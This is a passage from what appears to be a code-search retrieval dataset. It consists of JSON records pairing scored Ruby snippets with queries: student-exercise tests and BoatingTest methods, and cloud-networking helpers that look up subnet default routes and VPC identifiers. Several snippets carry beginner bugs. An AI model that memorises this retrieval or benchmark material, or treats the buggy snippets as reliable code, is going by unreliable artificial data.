"244cf1a91cbb5ee5ffde8a363de13353", "score": "0.62217027", "text": "def test_init\n assert_equal(@alex.name, \"Alex\")\n end", "title": "" }, { "docid": "4be4b69a273361d7c2eab4bf0f7d71d5", "score": "0.61899674", "text": "def test_student_talk()\n assert_equal(\"I can talk!\", @student0.talk)\n end", "title": "" }, { "docid": "8b26bc7d77ecab91aba4b21ba520477d", "score": "0.6188152", "text": "def pass_student(student, test_name)\n tests_to_pass = BoatingTest.all.find do |boatingtest|\n if boatingtest.student.first_name == student.first_name && boatingtest.test_name == test_name \n tests_to_pass.status = \"passed\"\n else #if no such match, create match & status: \"passed\"\n BoatingTest.new(student, test_name, \"passed\", self)\n end\n #binding.pry\n end\n end", "title": "" }, { "docid": "0fb1127ee2984601ba59f60880e4cf5f", "score": "0.61871547", "text": "def fail_student(student_inst, test_name)\n BoatingTest.all.each do |boatingtest|\n if boatingtest.student == student_inst && boatingtest.name == test_name\n boatingtest.status = \"failed\"\n return boatingtest\n end\n end\n BoatingTest.new(student_inst, test_name, status=\"failed\", self)\n end", "title": "" }, { "docid": "c930bb399e0476138957f4efb8176411", "score": "0.6178156", "text": "def test_add_books_hillman\n\t\t@city = CitySim::new\n\t\tdriver = Driver.new(\"Driver 1\", 1, 0, 0)\n\t\t@current_location = @hillman\n\t\tcheckCurrentLocation(driver)\n\t\tassert_equal 1, driver.num_books\n\tend", "title": "" }, { "docid": "05d0e1ea3f29bbaefa443b14d3c50aa1", "score": "0.6167571", "text": "def test_set_student_name\n #create a student instance\n student_1 = Student.new(\"Grant\", \"G16\")\n #use set student name to change student name to Alan\n student_1.set_name(\"Alan\")\n #assert that name has been changed to Alan\n assert_equal(\"Alan\", student_1.name)\n end", "title": "" }, { "docid": "ed3c9417f6dc53b22c9f21d0f66374c7", "score": "0.6165386", "text": "def pass_student(student, name)\n my_students_tests = get_students_of_instructor\n\n found = find_student(student, my_students_tests)\n found = find_tests(name, found)\n if found != nil\n found.status = \"passed\"\n else\n BoatingTest.new(student, name, \"passed\", self)\n end\n end", "title": "" }, { "docid": "234d02f9dd693d28010fa554699ec115", "score": "0.61517614", "text": "def fail_student(student, test_name)\n specific_test = BoatingTest.find_student_test(student) & BoatingTest.find_test_name(test_name)\n if specific_test.length > 0 \n specific_test.each{|test| test.test_status = \"failed\"}\n else\n specific_test = BoatingTest.new(student, test_name, \"failed\", self)\n end\n end", "title": "" }, { "docid": "40ffb7b0ff7accf0ab65406ea35b2c84", "score": "0.6151664", "text": "def test_ifHillmanIsLocAddOneBook\n driver = Driver::new(1);\n def driver.location; driver.location = \"Hillman\"; end\n driver.location = \"Hillman\";\n driver.books = 0;\n driver.addBooksClassesToys;\n assert_equal 1, driver.getBooks;\n end", "title": "" }, { "docid": "24eb9dd217986cc45280d1fd561c25c5", "score": "0.61509347", "text": "def fail_student(student, test_name)\n# Like `#pass_student`, it should try to find a matching `BoatingTest` and update its status to 'failed'.\n matching_array = BoatingTest.all.select {|test| test.student == student && test.test_name == test_name}\n if matching_array != nil\n return matching_array.each {|test_instance| test_instance.test_status = 'failed'}\n# If it cannot find an existing `BoatingTest`, \n else\n# it should create one with the name, the matching student, and the status 'failed'.\n return BoatingTest.new(student, test_name, 'failed', self)\n end\n end", "title": "" }, { "docid": "e3ffdf71753b36785c25ab77200af4a7", "score": "0.614428", "text": "def fail_student(student, test_name)\n \n check_if_boating_test_exist = BoatingTest.all.find do |boating_test| \n boating_test.student == student &&\n boating_test.test_name == test_name\n end\n \n if check_if_boating_test_exist == nil\n BoatingTest.new(student, test_name, \"failed\", self)\n else\n check_if_boating_test_exist.test_status == \"failed\"\n end\n\n end", "title": "" }, { "docid": "d77b8649f95957111070098866d59016", "score": "0.61400074", "text": "def pass_student(student, test_name)\n test_to_pass = BoatingTest.all.find do |test|\n test.test_name == test_name && test.student == student\n end \n if test_to_pass \n test_to_pass.status = \"Passed\"\n else\n BoatingTest.new(test_name, self, student, status=\"Passed\")\n end\n end", "title": "" }, { "docid": "3827775729050807b96e160c73371454", "score": "0.6135847", "text": "def fail_student (student, test)\n test_check = BoatingTest.all.find{|test| test.student == student && test.test_name == test}\n\n if test_check == true\n test_check.test_status = \"failed\"\n else\n BoatingTest.new( student, test, \"failed\", self)\n end\n end", "title": "" }, { "docid": "d1dd75ef57750d6a92886b808573bf16", "score": "0.61267644", "text": "def test_set_student_name\n name = Student.new('John', 'G13')\n name.set_student_name('Ruby')\n assert_equal('Ruby', name.student_name)\n end", "title": "" }, { "docid": "be312cc783b8f17059356824e7bbd469", "score": "0.6123833", "text": "def test_check_if_student_is_student\n assert_equal(true, TestCases.is_student())\n end", "title": "" }, { "docid": "0846c49823d947792de18f017d71af5c", "score": "0.6117266", "text": "def pass_or_fail_student(test_result_to_assign:,student_instance:,testname:)\n instance_to_update = BoatingTest.all.find{|boating_test|(boating_test.teststudent == student_instance) && (boating_test.testname == testname)}\n if instance_to_update != nil\n #UPDATE\n instance_to_update.teststatus = test_result_to_assign\n else\n #CREATE NEW\n instance_to_update = BoatingTest.new(testname:testname,teststatus:test_result_to_assign,teststudent:student_instance,testinstructor:self)\n end\n instance_to_update\n end", "title": "" }, { "docid": "8bc39227573021007c5e84145ec97348", "score": "0.609594", "text": "def test_student_talk\n assert_equal(\"Student Aline talking.\", @student.talk)\nend", "title": "" }, { "docid": "de7a6fd9cab302fd76f4c17773256ffc", "score": "0.60937726", "text": "def test_add_book\n @d.add_book\n assert_equal @d.books, 1\n @d.add_book\n assert_equal @d.books, 2\n end", "title": "" }, { "docid": "b5595e3ec0d92282200878ba96f4633c", "score": "0.608999", "text": "def test_talk\n student = Student.new(\"Pete\", \"G6\")\n assert_equal(\"I can talk!\", student.talk)\n end", "title": "" }, { "docid": "74add7be84d7ff6079ae98889f2a00b5", "score": "0.6083859", "text": "def pass_student(student, name)\n passing_test = BoatingTest.find_test_by_name(name, student)\n\n if passing_test\n passing_test.test_status = 'passed'\n passing_test\n else\n BoatingTest.new(student, name, \"passed\", self)\n end\n end", "title": "" }, { "docid": "56fe46e437e8930aa8e2070a5150ff54", "score": "0.608188", "text": "def test_set_student_name()\n\n @test_student.name = \"Ev\"\n assert_equal(\"Ev\", @test_student.name)\n\n end", "title": "" }, { "docid": "c90a08f31290039815af03082cf476f3", "score": "0.6075997", "text": "def test_set_student_name\n @student.set_student_name(\"Paul\")\n assert_equal(\"Paul\", @student.student_name())\n end", "title": "" }, { "docid": "879b1283a1faa88504f4721faf055658", "score": "0.6062747", "text": "def test_set_student_name\n student= Student.new('bob', 'e30', 'Ruby')\n student.set_student_name('chad')\n assert_equal('chad', student.name)\n end", "title": "" }, { "docid": "345b1759c5a3782ed4406dd08ac96534", "score": "0.6061089", "text": "def test_ifHillmanIsLocAddOneBook\n driver = Driver.new(1)\n def driver.location; driver.location = 'Hillman'; end\n driver.sets_location('Hillman')\n driver.sets_books(0)\n driver.add_books_classes_toys\n assert_equal 1, driver.gets_books\n end", "title": "" }, { "docid": "1a1f1b018138c80c25742d0ebdf70335", "score": "0.60303503", "text": "def test_fun_books_start_test\n\t\tdriver = Driver::new \"Driver 1\"\n\t\tassert_equal 0, driver.books\n\tend", "title": "" }, { "docid": "59b13c428609230ed39b5fc466006b73", "score": "0.6008086", "text": "def test_add_person\n @bus_stop1.add_person(@john)\n assert_equal(1, @bus_stop1.queue_count())\n end", "title": "" }, { "docid": "61dad9962963a71ff5001b57735934dc", "score": "0.5990579", "text": "def test_talk\n student = Student.new(\"Robbie\", \"E23\")\n assert_equal(\"Hi, my name is Robbie\", student.talk)\n end", "title": "" }, { "docid": "c2a5f49b0dbc937e6065bcd2f39b8b51", "score": "0.598988", "text": "def test_add_new_book()\n assert_equal(3, @library.add_new_book(\"a_game_of_thrones\").count)\n end", "title": "" }, { "docid": "a83435a77bce270f26b8a60615111663", "score": "0.59854287", "text": "def fail_student(student, test_name)\n student_found = BoatingTest.all.find do |test_info|\n test_info.student == student && test_info.boating_test_name == test_name\n end \n if student_found\n student_found.boating_test_status = \"failed\"\n else \n BoatingTest.new(student, test_name, boating_test_status=\"failed\", self)\n end \n end", "title": "" }, { "docid": "fb813a22970911ea8f26ee6851df4f30", "score": "0.5975864", "text": "def initialize(student, name, status, instructor)\n @student = student\n @name = name\n @status = status\n @instructor = instructor\n @@all << self\n end", "title": "" }, { "docid": "5dc804fc63d3c5eb8b2ee5bfeb44a4d8", "score": "0.5964068", "text": "def test_add_guest_to_room1\n @room1.add_guest_to_room1(@guest1)\n assert_equal(1,@room1.head_count1)\n end", "title": "" }, { "docid": "0f87cfeda0d6497b79e4a1b496fbad5a", "score": "0.5963364", "text": "def test_add_book\n lib = Library.new(\n [\n {title: \"lord_of_the_rings\",\n rental_details:\n {\n student_name: \"Fari\",\n date: \"01/12/18\"\n }\n },\n {title: \"fire_and_ice\",\n rental_details:\n {\n student_name: \"Debi\",\n date: \"12/09/18\"\n }\n }\n ]\n )\n lib.add_book(\"Beauty_and_the_beast\")\n assert_equal(3, lib.books.count)\n assert_equal(\"\", lib.books[2][:rental_details][:student_name])\n assert_equal(\"\", lib.books[2][:rental_details][:date])\n end", "title": "" }, { "docid": "f1ae3f86f80d14d191a03297c1578990", "score": "0.59599733", "text": "def test_add_book\n added_book = @library.add_book(\"Little Woman\")\n assert_equal(@books, added_book)\n end", "title": "" }, { "docid": "10d322318a5b28e7239a096de1f30b46", "score": "0.5949975", "text": "def test_student_can_talk\n assert_equal(\"I can talk!\", @student.student_can_talk())\n end", "title": "" }, { "docid": "edf38178491222c02a31e41ebc5d2ae9", "score": "0.594598", "text": "def test_student_talk()\n\n result = @test_student.studnet_talk()\n assert_equal(\"I can talk!\", result)\n\n end", "title": "" }, { "docid": "65686e50211df614bc67c209d921c84f", "score": "0.5938532", "text": "def test_fun_books_print_books_test\n\t\tdriver = Driver::new \"Driver 1\" \n\t\tassert_output(\"Driver 1 obtained 0 books!\\n\") {driver.print_books}\n\t\tdriver.add_books\n\t\tassert_output(\"Driver 1 obtained 1 book!\\n\") {driver.print_books}\n\tend", "title": "" }, { "docid": "04a769ab3345d884085e318763c680eb", "score": "0.59369475", "text": "def fail_student(student, test_name)\n test_exist = BoatingTest.all.find do |boating_test|\n boating_test.instructor == self && boating_test.student && student && boating_test.name == test_name\n end\n if (test_exist)\n test_exist.status = \"Failed\"\n else\n BoatingTest.new(student, test_name, \"Failed\", self)\n end\n end", "title": "" }, { "docid": "3e2ac19a830eefb79b146ce17e8665cc", "score": "0.5905016", "text": "def test_student_cohort\n #create new student instance\n student = Student.new(\"Grant\", \"G16\")\n #use getter method to grab student cohort number\n #assert that the student object instance has cohort G16\n assert_equal(\"G16\", student.cohort)\n end", "title": "" }, { "docid": "fc2fd2892f98ab1a52e08542ec93014b", "score": "0.5904661", "text": "def test_add_book\n library = Library.new(@books)\n library.add_book(\"hunger_games\")\n assert_equal(4, @books.length)\n assert_equal(@books[3], library.book_info(\"hunger_games\"))\n end", "title": "" }, { "docid": "d0034dce61a594342fe89dd557663651", "score": "0.5903555", "text": "def test_add_guest_to_room()\n @room1.add_guest_to_room(@guest5.guest_name, @guest5.guest_cash)\n @guest5.guest_pays(@room1.room_fee_per_guest)\n @bar.bar_accepts_fee(@room1.room_fee_per_guest)\n @room1.compare_songs(@guest5.guest_fav_song)\n assert_equal(3, @room1.guests_already_in_room)\n assert_equal(50, @guest5.guest_cash)\n assert_equal(510,@bar.bar_cash)\n assert_equal(\"YES! My favourite song!\",\n @room1.compare_songs(@guest5.guest_fav_song))\n end", "title": "" } ]
4823fba1179dae22e3d77d8bb8b372d0
Return the cloud identifier for the default route of this subnet.
[ { "docid": "b8f4f07572d29ccdbda9b11b5075e4fa", "score": "0.0", "text": "def defaultRoute\n end", "title": "" } ]
[ { "docid": "fe88d6cec3f67d129c4a699def8da874", "score": "0.7363807", "text": "def default_subnet_id\n data[:default_subnet_id]\n end", "title": "" }, { "docid": "b6cc198aaa0a1a41847f8bfbb2ea5131", "score": "0.67744845", "text": "def defaultRoute\n if cloud_desc and cloud_desc.route_table\n rtb_id = MU::Cloud::Azure::Id.new(cloud_desc.route_table.id)\n routes = MU::Cloud::Azure.network(credentials: @config['credentials']).routes.list(\n rtb_id.resource_group,\n rtb_id.name\n )\n routes.each { |route|\n return route if route.address_prefix == \"0.0.0.0/0\"\n }\n end\n nil\n end", "title": "" }, { "docid": "2f1448eec7ced26526d2f37adf979655", "score": "0.6547563", "text": "def defaultRoute\n resp = MU::Cloud::AWS.ec2(@config['region']).describe_route_tables(\n filters: [{name: \"association.subnet-id\", values: [@cloud_id]}]\n )\n if resp.route_tables.size == 0 # use default route table for the VPC\n resp = MU::Cloud::AWS.ec2(@config['region']).describe_route_tables(\n filters: [{name: \"vpc-id\", values: [@parent.cloud_id]}]\n )\n end\n resp.route_tables.each { |route_table|\n route_table.routes.each { |route|\n if route.destination_cidr_block ==\"0.0.0.0/0\" and route.state != \"blackhole\"\n return route.instance_id if !route.instance_id.nil?\n return route.gateway_id if !route.gateway_id.nil?\n return route.vpc_peering_connection_id if !route.vpc_peering_connection_id.nil?\n return route.network_interface_id if !route.network_interface_id.nil?\n end\n }\n }\n return nil\n end", "title": "" }, { "docid": "328e9818f65c6e43b2973eebec7813ca", "score": "0.6527529", "text": "def defaultRoute\n resp = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).describe_route_tables(\n filters: [{name: \"association.subnet-id\", values: [@cloud_id]}]\n )\n if resp.route_tables.size == 0 # use default route table for the VPC\n resp = MU::Cloud::AWS.ec2(region: @region, credentials: @credentials).describe_route_tables(\n filters: [{name: \"vpc-id\", values: [@parent.cloud_id]}]\n )\n end\n resp.route_tables.each { |route_table|\n route_table.routes.each { |route|\n if route.destination_cidr_block ==\"0.0.0.0/0\" and route.state != \"blackhole\"\n return route.instance_id if !route.instance_id.nil?\n return route.gateway_id if !route.gateway_id.nil?\n return route.vpc_peering_connection_id if !route.vpc_peering_connection_id.nil?\n return route.network_interface_id if !route.network_interface_id.nil?\n end\n }\n }\n return nil\n end", "title": "" }, { "docid": "753a6d9e69c5dfdd59c35983715f4b9d", "score": "0.64606255", "text": "def defaultRoute\n resp = MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).describe_route_tables(\n filters: [{name: \"association.subnet-id\", values: [@cloud_id]}]\n )\n if resp.route_tables.size == 0 # use default route table for the VPC\n resp = MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).describe_route_tables(\n filters: [{name: \"vpc-id\", values: [@parent.cloud_id]}]\n )\n end\n resp.route_tables.each { |route_table|\n route_table.routes.each { |route|\n if route.destination_cidr_block ==\"0.0.0.0/0\" and route.state != \"blackhole\"\n return route.instance_id if !route.instance_id.nil?\n return route.gateway_id if !route.gateway_id.nil?\n return route.vpc_peering_connection_id if !route.vpc_peering_connection_id.nil?\n return route.network_interface_id if !route.network_interface_id.nil?\n end\n }\n }\n return nil\n end", "title": "" }, { "docid": "ecca7d1cde706e156b1d4923ba2429f5", "score": "0.6207274", "text": "def default_network_uuid\n @default_network_uuid ||= uuid\n end", "title": "" }, { "docid": "13a228990966dd44570c7fabd9ff0bc1", "score": "0.6058378", "text": "def subnet_id\n subnet_network_spec = networks_cloud_props.filter('manual', 'dynamic').reject do |net|\n net.subnet.nil?\n end.first\n\n subnet_network_spec.subnet unless subnet_network_spec.nil?\n end", "title": "" }, { "docid": "1e375e1bafbd9218376dc101b16bfcee", "score": "0.6012748", "text": "def get_cloud_id\n case ENV['DEPLOYMENT']\n when /ec2-east/\n return 1\n when /ec2-eu/\n return 2\n when /ec2-west/\n return 3\n when /ec2-ap/\n return 4\n end\n end", "title": "" }, { "docid": "a4e6c388ff702ad15f92cd1d69c8571c", "score": "0.59346", "text": "def primary_nic\n out = `ip route`\n return out[/default via.*dev (.*) proto/, 1]\n end", "title": "" }, { "docid": "7d63f67a82be9fe4631f60714524a6e3", "score": "0.59069973", "text": "def default_netmask\n nm = ref_call :get_default_netmask\n return nil if nm.strip.chomp.empty?\n gw\n end", "title": "" }, { "docid": "10a18cb47a2d093047334be1383a3750", "score": "0.5896722", "text": "def get_primary_cloud_id()\n primaryClouds = nil\n\n if node.workorder.payLoad.has_key?(\"primaryCloud\")\n primaryClouds = node.workorder.payLoad.primaryCloud\n end\n\n primary_cloud = primaryClouds[0]\n\n return primary_cloud.ciId.to_s\nend", "title": "" }, { "docid": "2dbeae4dc4d3011946707a43f04257b4", "score": "0.5879991", "text": "def default_cloud_name\n cloud_file_path = RightScale::AgentConfig.cloud_file_path\n value = File.read(cloud_file_path).strip if File.file?(cloud_file_path)\n value.to_s.empty? ? UNKNOWN_CLOUD_NAME : value\n end", "title": "" }, { "docid": "31399ffe98253a75367546ca4b743b0b", "score": "0.5836929", "text": "def subnet_id\n subnet_network_spec = networks_spec.values.select do |spec|\n [\"manual\", nil, \"dynamic\"].include?(spec[\"type\"]) &&\n spec.fetch(\"cloud_properties\", {}).has_key?(\"subnet\")\n end.first\n\n subnet_network_spec[\"cloud_properties\"][\"subnet\"] if subnet_network_spec\n end", "title": "" }, { "docid": "3b529297b74c7bd12e322a10bdd63521", "score": "0.5793974", "text": "def routing_key\n model.is_a?(Cocina::Models::AdminPolicy) ? 'SDR' : AdministrativeTags.project(identifier: model.externalIdentifier).first\n end", "title": "" }, { "docid": "5cacc0a783af19cde035ba46e490378f", "score": "0.56826156", "text": "def subnet_id\n @instance.subnet_id\n end", "title": "" }, { "docid": "e47eb655c4ca0b2c120c4d525a5d3833", "score": "0.5625353", "text": "def subnet_id\n data[:subnet_id]\n end", "title": "" }, { "docid": "0fec9a2ae40b6e4d21ad00b1a5a461b8", "score": "0.5618964", "text": "def GetSubnet()\n \"192.168.3.0/24\"\n end", "title": "" }, { "docid": "a79203d515915bb2df14e22877cbdccf", "score": "0.5604165", "text": "def default_network\n BASE_URL + @options[:gce_project] + '/global/networks/default'\n end", "title": "" }, { "docid": "5b9eca932df192e4fdba196c4ffaa84a", "score": "0.56024414", "text": "def vpc_id\n first_subnet = @subnets.first\n first_subnet.vpc_id if first_subnet\n end", "title": "" }, { "docid": "2603ab6b2ceb4ec7d433ac341e335b0b", "score": "0.55726683", "text": "def default_route\n nil\n end", "title": "" }, { "docid": "2603ab6b2ceb4ec7d433ac341e335b0b", "score": "0.55726683", "text": "def default_route\n nil\n end", "title": "" }, { "docid": "1be7b3454eb75bae97e87e14cee7d72b", "score": "0.5567043", "text": "def subnet_id\n data.subnet_id\n end", "title": "" }, { "docid": "1be7b3454eb75bae97e87e14cee7d72b", "score": "0.5567043", "text": "def subnet_id\n data.subnet_id\n end", "title": "" }, { "docid": "cde6d99d5d0a6ca10dc63fdc9d6249f1", "score": "0.5558126", "text": "def subnet_id\n @ni.subnet_id\n end", "title": "" }, { "docid": "12f411857c0ea3e43e84d511d5a6db0d", "score": "0.55078405", "text": "def cloudid_from_name(ciName)\n if ciName == nil || ciName.empty?\n # There was not a name specified. Just return nothing.\n return ''\n end\n\n # The cloud ID is the second component of the CI name:\n #\n # basename-cloudid-instance\n #\n # Split on the '-' character and take the second to last component\n #\n nameComponents = ciName.split('-',-1)\n\n cloudid = nameComponents[nameComponents.length - 2]\n\n return cloudid\nend", "title": "" }, { "docid": "12f411857c0ea3e43e84d511d5a6db0d", "score": "0.55078405", "text": "def cloudid_from_name(ciName)\n if ciName == nil || ciName.empty?\n # There was not a name specified. Just return nothing.\n return ''\n end\n\n # The cloud ID is the second component of the CI name:\n #\n # basename-cloudid-instance\n #\n # Split on the '-' character and take the second to last component\n #\n nameComponents = ciName.split('-',-1)\n\n cloudid = nameComponents[nameComponents.length - 2]\n\n return cloudid\nend", "title": "" }, { "docid": "12f411857c0ea3e43e84d511d5a6db0d", "score": "0.55078405", "text": "def cloudid_from_name(ciName)\n if ciName == nil || ciName.empty?\n # There was not a name specified. Just return nothing.\n return ''\n end\n\n # The cloud ID is the second component of the CI name:\n #\n # basename-cloudid-instance\n #\n # Split on the '-' character and take the second to last component\n #\n nameComponents = ciName.split('-',-1)\n\n cloudid = nameComponents[nameComponents.length - 2]\n\n return cloudid\nend", "title": "" }, { "docid": "12f411857c0ea3e43e84d511d5a6db0d", "score": "0.55078405", "text": "def cloudid_from_name(ciName)\n if ciName == nil || ciName.empty?\n # There was not a name specified. Just return nothing.\n return ''\n end\n\n # The cloud ID is the second component of the CI name:\n #\n # basename-cloudid-instance\n #\n # Split on the '-' character and take the second to last component\n #\n nameComponents = ciName.split('-',-1)\n\n cloudid = nameComponents[nameComponents.length - 2]\n\n return cloudid\nend", "title": "" }, { "docid": "402ffbdf80a878a84e9969be97f4f2fc", "score": "0.5503123", "text": "def default_id\n nil\n end", "title": "" }, { "docid": "4ccca92b870f8eab011858f404db36c0", "score": "0.5478864", "text": "def node_id\n if @uid >= 0\n \"u#{@uid}\"\n elsif @uid == Default_IP_UID\n \"ipX\"\n else\n \"ip#{@name}\"\n end\n end", "title": "" }, { "docid": "e9c78bbe452dfc718f656f4a0ad5a2ef", "score": "0.5475738", "text": "def default_gateway\n gw = ref_call :get_default_gateway\n return nil if gw.strip.chomp.empty?\n gw\n end", "title": "" }, { "docid": "43119253959074ba8778dc1b1382ab6a", "score": "0.54555935", "text": "def ip_v4_cidr\n \"#{ip_v4_address}/#{rand(1..31)}\"\n end", "title": "" }, { "docid": "db3ad388d2ceeed5712331916bad6c14", "score": "0.5429039", "text": "def default_node(name, type, cluster)\n project = Project.where(name: 'default').get(:id)\n # use find or create because create() crashes if a duplicate is found\n NodeResource.find_or_create(name: name, type: type, project_id: project,\n cluster: cluster)[:id]\n end", "title": "" }, { "docid": "f26b0af6a8e4c1ea5b4063f9ce1ce451", "score": "0.54187816", "text": "def default_variant_id\n @default_variant_id ||= default_variant.id\n end", "title": "" }, { "docid": "9a2cc0abb491da8428c1bb323c9df248", "score": "0.541755", "text": "def get_user_default_route\n return @m_user_default_route\n end", "title": "" }, { "docid": "0c0d4e362dc3bdd227aae383ab79cac1", "score": "0.5415278", "text": "def default_region\n if home = addresses.home.first\n home.region\n else\n Region.find_by_name('Washington')\n end\n end", "title": "" }, { "docid": "7a278493e9a6c7b9eb2b66dd4167ad97", "score": "0.5411457", "text": "def get_default\n @config['camera'].find { |c| c['ssid'] == @config['default'] }\n end", "title": "" }, { "docid": "146bf8abe5679b02bb0345c914b5a6bf", "score": "0.54044193", "text": "def default_address\n addresses.ordered.last\n end", "title": "" }, { "docid": "40041f1a440817474ee72cd3477bb027", "score": "0.53947175", "text": "def get_default\n config = load_config\n d = config[:default]\n return d.nil? ? :system : d\n end", "title": "" }, { "docid": "5f50ed70d82102f187a61f9ccbdfa76d", "score": "0.53939503", "text": "def default_cluster\n get_mandatory_attribute :defaultCluster\n end", "title": "" }, { "docid": "daf8ae22bd30e85aed07437b40461ae3", "score": "0.5390195", "text": "def default_ami\n region = amis['regions'][config[:region]]\n region && region[instance.platform.name.downcase]\n end", "title": "" }, { "docid": "ba1037a288cc527eacb13893e595dadd", "score": "0.53833896", "text": "def default_key\n @keys[@default_key_id]\n end", "title": "" }, { "docid": "ba1037a288cc527eacb13893e595dadd", "score": "0.53833896", "text": "def default_key\n @keys[@default_key_id]\n end", "title": "" }, { "docid": "adfedc210bbf47d00d030a69d6d7b043", "score": "0.5375197", "text": "def classic_link_vpc_id\n data.classic_link_vpc_id\n end", "title": "" }, { "docid": "d0051d60207981e557ed289610117cc3", "score": "0.53751767", "text": "def subnet_name\n @subnet_name\n end", "title": "" }, { "docid": "d0051d60207981e557ed289610117cc3", "score": "0.53749335", "text": "def subnet_name\n @subnet_name\n end", "title": "" }, { "docid": "27412b463b7fea2b4e6fd2373ec81848", "score": "0.5367791", "text": "def default_vdc_id\n if default_organization_id\n @default_vdc_id ||= begin\n vdcs = default_organization_body[:Link].select {|link|\n link[:type] == 'application/vnd.vmware.vcloud.vdc+xml'\n }\n if vdcs.length == 1\n vdcs.first[:href].split('/').last\n else\n nil\n end\n end\n else\n nil\n end\n end", "title": "" }, { "docid": "abb0f16bceafe90b844a677090f93f99", "score": "0.5362628", "text": "def cluster_id\n @grpc.name.split(\"/\")[5]\n end", "title": "" }, { "docid": "abb0f16bceafe90b844a677090f93f99", "score": "0.5362628", "text": "def cluster_id\n @grpc.name.split(\"/\")[5]\n end", "title": "" }, { "docid": "b0c49fd9e2487a3415f87e89e004a610", "score": "0.5360896", "text": "def classic_link_vpc_id\n @config.classic_link_vpc_id\n end", "title": "" }, { "docid": "32f7156e11ffb60af948b8d5ff0dd227", "score": "0.5354889", "text": "def default_cloud_nat(name = 'cloud-nat')\n [\n Google::Apis::ComputeBeta::RouterNat.new(\n log_config: Google::Apis::ComputeBeta::RouterNatLogConfig.new(enable: false, filter: 'ALL'),\n name: name,\n nat_ip_allocate_option: 'AUTO_ONLY',\n source_subnetwork_ip_ranges_to_nat: 'ALL_SUBNETWORKS_ALL_IP_RANGES'\n )\n ]\n end", "title": "" }, { "docid": "b2c10407f6b1890359b8baa53f3ee843", "score": "0.5354354", "text": "def cidr\n TestLab::Utility.cidr(self.primary_interface.address)\n end", "title": "" }, { "docid": "e706878155d70d4797c61da3a88c427a", "score": "0.5349323", "text": "def default_image\n return @default_image_id unless @default_image_id.nil?\n @default_image_id = Fog.credentials[:brightbox_default_image] || select_default_image\n end", "title": "" }, { "docid": "8ea8ac4dc4a97b374d22ed8abac4b4d6", "score": "0.5337749", "text": "def route_id_for arrival\n @agency.routes.lazy.select { |r| r[:color] == arrival.hexcolor }.first[:short_name]\n end", "title": "" }, { "docid": "e8ef61244f82eb07e29628bffa6b4da7", "score": "0.53350526", "text": "def default_pool_name\n default_name=\"default\"\n [email protected](:name => default_name)\n\n if default_pool.nil?\n [email protected]\n if first_pool.nil?\n raise Fog::Errors::Error.new('We could not find a pool called \"default\" and there was no other pool defined')\n else\n default_name=first_pool.name\n end\n end\n return default_name\n end", "title": "" }, { "docid": "72c36e0123aac002ee688e312ec409aa", "score": "0.5323468", "text": "def ip_v6_cidr\n \"#{ip_v6_address}/#{rand(1..127)}\"\n end", "title": "" }, { "docid": "ff33d65c48ae12394aef7120609f034e", "score": "0.5321465", "text": "def cloud_master(name)\n get_cloud(name).ip\n end", "title": "" }, { "docid": "cb88a6d728fe4980aad701ba832a6b76", "score": "0.5312003", "text": "def zk_myid\n (@masters.find_index(@ip).to_i + 1).to_s\n end", "title": "" }, { "docid": "3325b0cbf40e524551973f23f67d8619", "score": "0.530422", "text": "def zone_id\n route_53_client.\n list_hosted_zones[:hosted_zones].\n each.\n select { |z| z[:name] == zone }.\n map {|z| z[:id] }.\n first\n end", "title": "" }, { "docid": "f4b22ff7c74ba1b00eef3107ebb92522", "score": "0.5290787", "text": "def default_pool_name\n name = \"default\"\n return name unless (service.pools.all(:name => name)).empty?\n\n # we default to the first pool we find.\n first_pool = service.pools.first\n\n raise Fog::Errors::Error.new('No storage pools are defined') unless first_pool\n first_pool.name\n end", "title": "" }, { "docid": "3d53c034631508c95ce5dd07eeb5a0a8", "score": "0.5280253", "text": "def cidr\n @data['cidr']\n end", "title": "" }, { "docid": "53618a205989845299fa010022c67548", "score": "0.5277521", "text": "def default_cluster\n default = self.cluster_groups.first\n unless self.default_options[:cluster].nil?\n new_default = self.cluster_groups.by_name(self.default_options[:cluster])\n unless new_default.nil?\n default = new_default\n end\n end\n default\n end", "title": "" }, { "docid": "53618a205989845299fa010022c67548", "score": "0.5277521", "text": "def default_cluster\n default = self.cluster_groups.first\n unless self.default_options[:cluster].nil?\n new_default = self.cluster_groups.by_name(self.default_options[:cluster])\n unless new_default.nil?\n default = new_default\n end\n end\n default\n end", "title": "" }, { "docid": "213e4c7385ed94e7415efb77de3a08bb", "score": "0.52748317", "text": "def network_address\n \"#{network}/#{cidr}\"\n end", "title": "" }, { "docid": "8b54e4ac434ec4382ada9ab2a8ea02d9", "score": "0.5272454", "text": "def get_default_currency_id\n self.human_resource ? self.human_resource.get_default_currency_id() : get_project_currency_id()\n end", "title": "" }, { "docid": "bd39f4928381bd93962c752751ee5409", "score": "0.5271688", "text": "def ip()\n \"172.16.#{@project.id}.#{@index + 2}\"\n end", "title": "" }, { "docid": "6afeeed010fd31c6ebc060a72cc95ad9", "score": "0.5269823", "text": "def default_foreign_key\n view_name = master_class.table_name.singularize\n \"#{view_name}_id\"\n end", "title": "" }, { "docid": "06adec452f936cffe08c16ecbda8b0c8", "score": "0.5260703", "text": "def subnet_cidr_prefix(subnet)\n subnet_address_prefix(subnet).split(\"/\")[1].to_i\n end", "title": "" }, { "docid": "6c5d7cf8e7835dff4abd2415c652da82", "score": "0.52592796", "text": "def default_name\n [\n @instance.name.gsub(/\\W/, '')[0..14],\n Etc.getlogin.gsub(/\\W/, '')[0..14],\n Socket.gethostname.gsub(/\\W/, '')[0..22],\n Array.new(7) { rand(36).to_s(36) }.join\n ].join('-').gsub(/_/, '-')\n end", "title": "" }, { "docid": "b5f96cacbfb2ba7c6adebcd69d0571f3", "score": "0.5243855", "text": "def guid\n @guid ||= ICloud.guid\n end", "title": "" }, { "docid": "b5f96cacbfb2ba7c6adebcd69d0571f3", "score": "0.5243855", "text": "def guid\n @guid ||= ICloud.guid\n end", "title": "" }, { "docid": "5e57810c09d00e7f38d6977651f8cdea", "score": "0.5241664", "text": "def network_no\n\t\taddr = read_attribute(:network_no)\n\t\tIP.new([(read_attribute(:ip_v4))?\"v4\":\"v6\",addr]).to_s\n\tend", "title": "" }, { "docid": "3059b4e65b282a6eae590af5d468e9f5", "score": "0.5239688", "text": "def ip_address\n case self.provider\n when \"digital_ocean\"\n self.instance.networks.v4.map{|network| network if network.type == \"public\" }.compact.first.ip_address\n end\n end", "title": "" }, { "docid": "d5635b7f3e6a5038e9a665f444c78442", "score": "0.52299935", "text": "def 